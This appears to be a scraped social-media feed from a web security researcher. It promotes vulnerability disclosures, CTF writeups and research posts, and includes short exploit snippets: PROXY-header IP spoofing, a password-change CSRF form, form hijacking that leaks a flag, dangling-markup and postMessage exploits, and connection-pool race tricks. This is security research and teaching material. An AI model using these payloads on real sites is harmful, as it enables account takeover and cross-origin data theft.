WebSockets are not yet affected by Local Network Access permission in Chrome.
Check out this blog post from my colleague Robbe!
www.aikido.dev/blog/storybo...
WebSockets are not yet affected by Local Network Access permission in Chrome.
Check out this blog post from my colleague Robbe!
www.aikido.dev/blog/storybo...
XSS on a password manager, about the scariest impact you can have...
github.com/aliasvault/a...
Luckily it was fixed super quick! Here's a simple script you can use to send raw HTML in emails. I think a lot more clients will benifit from sanitizer testing.
gist.github.com/JorianWoltje...
Software can now secure itself.
β www.aikido.dev/attack/infin...
Just a few days later, there's the next blog post for @aikidosecurity.bsky.social! Another framework-level vulnerability this time affecting Astro, resulting in SSRF if an unvalidated connection can be made to the webserver.
Read the details here:
www.aikido.dev/blog/astro-f...
My first disclosed vulnerability since joining @aikidosecurity.bsky.social, and it's a banger!
SvelteKit + Vercel = Cache Deception.
This shows how AI agents can find framework-level vulnerabilities, and that caching will continue to cause headaches. Enjoy :)
www.aikido.dev/blog/sveltes...
Had a fun XSS gadget chain with antoniusblock on a real world target, he made an awesome writeup:
blog.antoniusblock.net/posts/dom-cl...
Every year I look through this list with amazement for what all the people came up with. This year I suddenly saw my own article nominated, not 1 but 2! π€©
1. "Nonce CSP bypass using Disk Cache" on my blog
2 "Stopping Redirects" with @ctbbpodcast.bsky.social
Go vote!
portswigger.net/polls/top-10...
I made a shorter writeup for the CatGPT challenge during hxp CTF at 39C3!
It featured a cool combination of JavaScript injections to escape our context and fix the remaining syntax. Check it out:
jorianwoltjer.com/blog/p/ctf/h...
Just arrived at #39c3, shoot me a DM if you wanna meet! π
Here is my writeup of Intigriti's December XSS challenge. It consisted of 6 smaller challenges combining into a big 1-click exploit.
One of the most fun ones I've ever played. Loved the unique format by @renwax23.bsky.social!
jorianwoltjer.com/blog/p/ctf/i...
There's a new post on the Critical Research Lab! I've seen a lot of questions and fun tricks related to this subject recently so I hope this helps answer some of them.
Enjoy!
lab.ctbb.show/research/sto...
my new blogpost is out!!
this one talks about a new web vulnerability class i discovered that allows for complex interactive cross-origin attacks and data exfiltration
and i've already used it to get a google docs bounty ^^
have fun <3
lyra.horse/blog/2025/12...
The author of the challenge, dari1wastaken, got the idea from this paper. Great results on internet-exposed servers:
www.ndss-symposium.org/ndss-paper/a...
PROXY TCP4 127.0.0.1 1.2.3.4 1337 80 GET /ip HTTP/1.1 Host: 1.2.3.4:80 ------------------------------------ HTTP/1.1 200 OK Server: gunicorn Your IP: 127.0.0.1
Really interesting technique from a local CTF. In gunicorn with --proxy-protocol --proxy-allow-from='*', the "Proxy Protocol" (github.com/haproxy/hapr...) allows you to spoof the source IP with a PROXY prefix like this!
I feel like it might be useful as impact in Request Tunnelingπ
async function release_once() { blocker.abort(); await sleep(0); blocker = fetch_long(1337); }
(5/5) For Client-Side Race Conditions based on network requests, you can slow down time by holding up the Connection Pool. Then slowly release them one by one, performing any actions you need in between with 100% consistency.
<input type="text" name="flag"> ----------- AFTER ------------- <form action="/attacker" id="x"> <input type="text" name="flag" form="x"> <input type="submit" form="x"> </form>
(4/5) Form input history is restored on history.back() even if the HTML changed in the meantime.
For inputs without a form, that means you can hijack it into your own form with a form= attribute as an exception. From there you could submit your form to leak it.
<iframe srcdoc=' <meta http-equiv="refresh" content="1;url=about:srcdoc?param=value"> <script src="/gadget.js"></script> '></iframe>
(3/5) Script gadgets inside an <iframe srcdoc> that require URL parameters can be set using a <meta http-equiv="refresh"> redirect to about:srcdoc. It reloads the document with the new URL while keeping its content.
<form action="/change_password" method="POST"> <input type="text" name="new_password" value="hacked"> <!-- Submit button is clicked by script gadget --> <input type="submit" id="something"> </form> <script src="/click-something.js"></script>
(2/5) With a strict CSP, .click() gadgets can be very useful for things like:
* Opening the attacker's website with <a target="_blank">
* Submitting a form for CSRF
* Performing actions on the site to trigger other behavior
For the people who don't have time to read this entire thing, here are the coolest tricks I mentioned π: (1/5)
Follow your rabbit holes is the takeaway from my latest CTF writeup.
I found several interesting techniques that can help tricky situations, such as using the Connection Pool to make Client-Side Race Conditions easier!
Read the whole thing on my blog:
jorianwoltjer.com/blog/p/ctf/o...
I posted 2 more small articles to the Critical Thinking Research Lab:
* Nonce CSS leak in MathML: lab.ctbb.show/research/lea...
* HTML fun facts: lab.ctbb.show/research/htm...
My first post for the @ctbbpodcast.bsky.social Research Lab is live.
Super excited to be part of this team, can't wait to see what crazy research is gonna come from this!
lab.ctbb.show/research/Exp...
AMAZING technique by @salvatoreabello, I've been inspired by the connection pool exploits he comes up with.
Check out this crazy impact labeled as "working as intended":
blog.babelo.xyz/posts/cross-...
Forgot to add what we leak, this is the result:
<iframe id="iframe" src="https://target.tld/dangling-object"></iframe> <script> iframe.onload = () => { const object = iframe.contentWindow[0]; object.location = "about:blank"; // Navigate to our same-origin const interval = setInterval(() => { object.origin; // When it becomes same-origin clearInterval(interval); alert(object.name); // Leak its name (kept after navigation) }) } </script>
On our attacker's page, we load this in an iframe and can then access [0] to get a reference to our injected object. To read its name, we can set its location to *our* about:blank and then read the .name window property (set by the attribute)!
Content-Security-Policy: default-src 'none' <object data="about:blank" name=' <form> <input type="hidden" name="csrf" value="SECRET"> </form> <script> console.log('Hello, world!'); </script>
While playing a challenge by Salvatore Abello, I found a pretty interesting way to exploit Dangling Markup with a strict CSP.
All you need is an <iframe>, <object> or <embed> set to about:blank, with a dangling name= attribute. This vulnerable page should be iframable.
onclick = () => { window.open(location.href); location = "http://127.0.0.1:8000/vuln.html"; } setTimeout(() => { const iframe = document.createElement("iframe"); iframe.srcdoc = ""; document.body.appendChild(iframe); iframe.onload = () => { iframe.contentWindow.eval('top.opener.postMessage("alert(origin)", "*")'); iframe.remove(); } }, 1000);
Final exploit code:
gist.github.com/JorianWoltje...
Thanks Omid sharing this challenge!
Target tab on the left, and attacker tab on the right with an iframe inside. Arrow pointing from iframe up to parent with `.top`, and then to the left target window with `.opener`
We first duplicate our page, then navigate the first tab to the target. From our 2nd tab, the iframe can now access `top.opener` to send a message to the target. Quickly after, the parent removes the iframe and the `event.source` becomes `null`.
In our exploit we can do the same:
1. Create a same-origin iframe
2. Make the iframe send a message to the target window
3. Instantly remove the iframe from the DOM
There's a few ways to get a reference to the target window from inside the iframe, but I used `opener` as follows:
The solution comes from an obscure 2012 discussion where the developer noticed it being `null` in a bug:
groups.google.com/a/chromium.o...
They let an iframe send a message, and the iframe element was removed right after. By the time the receiver handles it the source is gone!